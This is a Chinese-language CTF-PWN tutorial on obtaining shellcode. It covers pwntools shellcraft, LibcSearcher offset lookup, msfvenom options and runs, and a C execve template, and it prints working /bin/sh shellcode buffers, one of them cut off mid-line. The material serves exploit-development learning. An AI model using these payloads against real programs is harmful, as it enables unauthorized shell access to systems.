构造shellcode是CTF-PWN和渗透当中经常需要进行的一项活动,有合适熟练的构造shellcode的方法途径,可以使得pwn的过程更加流畅和舒服。下面列出了几种shellcode的获得方法,与各位交流分享。
特点:安装简单,好理解,构造思路清晰。
from pwn import * #pwntool生成shellcode
shellcode=asm(shellcraft.sh())
shellcode = “\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05”(23字节)
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop
from LibcSearcher import *
#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)
obj.dump("system") #system 偏移
obj.dump("str_bin_sh") #/bin/sh 偏移
obj.dump("__libc_start_main_ret")
特定:自动化高,方便。
metasploit framework套件中的msfpayload与msfencode配合使用可以做到生成指定的payload,现在这两个工具进行了合并称为msfvenom。如果完整的安装了msf的话这个工具就已经可以直接使用了。
首先来了解一下这个工具
msfvenom
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options]
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f exe -o payload.exe
Options:
-l, --list List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload 's standard, advanced and evasion options
-f, --format Output format (use --list formats to list)
-e, --encoder The encoder to use (use --list encoders to list)
--sec-name The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key A key to be used for --encrypt
--encrypt-iv An initialization vector for --encrypt
-a, --arch The architecture to use for --payload and --encoders (use --list archs to list)
--platform The platform for --payload (use --list platforms to list)
-o, --out Save the payload to a file
-b, --bad-chars Characters to avoid example: '\x00\xff'
-n, --nopsled Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space The maximum size of the resulting payload
--encoder-space The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations The number of times to encode the payload
-c, --add-code Specify an additional win32 shellcode file to include
-x, --template Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name Specify a custom variable name to use for certain output formats
-t, --timeout The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
我们只针对linux下的一些漏洞只构造,所以需要的msfvenom命令相对简单。
上面的options,其中有好一些功能是构造shellcode上用不上的,目前不需要去了解,对渗透感兴趣的可以去研究一下。
msfvenom文档链接
一般来说常用的options是 -p -f -b 辅助的 -n -v -o
-p : 指定构造payload的对象。
-f :指定输出payload的格式
-b:用于规避特定的字符列表。
-n:在payload前填充NOP Sled
-v:给payload构造指定变量名,否则就默认buf
-s:限制payload的字长
这里特别说明一些-b的用法,常见的用法用于对scanf,gets类的溢出题。
因为,gets类遇到\x0a(\n)就会截至读取。
scanf类更多的截取条件,大部分的空白字符都会使得其截至(\0x00,0x0a)
我一直认为光看文档是没效果的,要带入情景才能理解掌握,所以我这举几个具体的实例,并且解释:
#选择平台(platform linux/86)且命令为其中的exec,输入的命令参数是/bin/sh 输出的限制规避字符列表空格(0x00),换行(\0x0a)。得到shellcode如下。
root@kali:~# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b'
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with An encoding exception occurred.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=15, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 68 (iteration=0)
x86/call4_dword_xor chosen with final size 68
Payload size: 68 bytes
Final size of python file: 349 bytes
buf = b""
buf += b"\x31\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += b"\x76\x0e\x76\xfc\x93\x07\x83\xee\xfc\xe2\xf4\x1c\xf7"
buf += b"\xcb\x9e\x24\x9a\xfb\x2a\x15\x75\x74\x6f\x59\x8f\xfb"
buf += b"\x07\x1e\xd3\xf1\x6e\x18\x75\x70\x55\x9e\xf4\x93\x07"
buf += b"\x76\xd3\xf1\x6e\x18\xd3\xe0\x6f\x76\xab\xc0\x8e\x97"
buf += b"\x31\x13\x07
#64位linux下执行系统命令/bin/sh,输出格式python
#基本是使用这个命令的,对这个命令进行修改可以完成大部分的题目。
#msfvenom -p linux/x64/exec CMD=/bin/sh -f python -b '\x00\x0b'
#msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b'
root@kali:~# msfvenom -p linux/x64/exec CMD=/bin/sh -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 47 bytes
Final size of python file: 243 bytes
buf = b""
buf += b"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
buf += b"\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
buf += b"\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
buf += b"\x00\x56\x57\x48\x89\xe6\x0f\x05"
有兴趣可以使用
msfvenom -l payloads
来查看所有可构造的payload列表重点关注可以执行读取获得得到shell。
推荐链接
这种方法比较现实。。
1.写汇编\C语言编译,然后反向构造payload (门槛高,复杂)
2.直接拖程序去找。。查看到类似的需要段落就截取。 (麻烦,试错复杂)
#include
#include
int main(int argc, char *argv[])
{
char *code[2];
code[0] = "/bin/sh";
code[1] = NULL;
execve(code[0], code, NULL);
return 0;
}
在对程序进行编译,shellcode的模板一般都是这样的:
jmp xxx
pop xxx
xxxxxxxx
call pop address
.string
这里面的jmp和call基本都是配套出现,是shellcode用来得到.string里面内容的一个好办法。我们在文档中寻找这部分内容就可以找到我们的shellcode。
合理利用googel搜索可以完成大部分shellcode的需求。。
exploit database
libc database search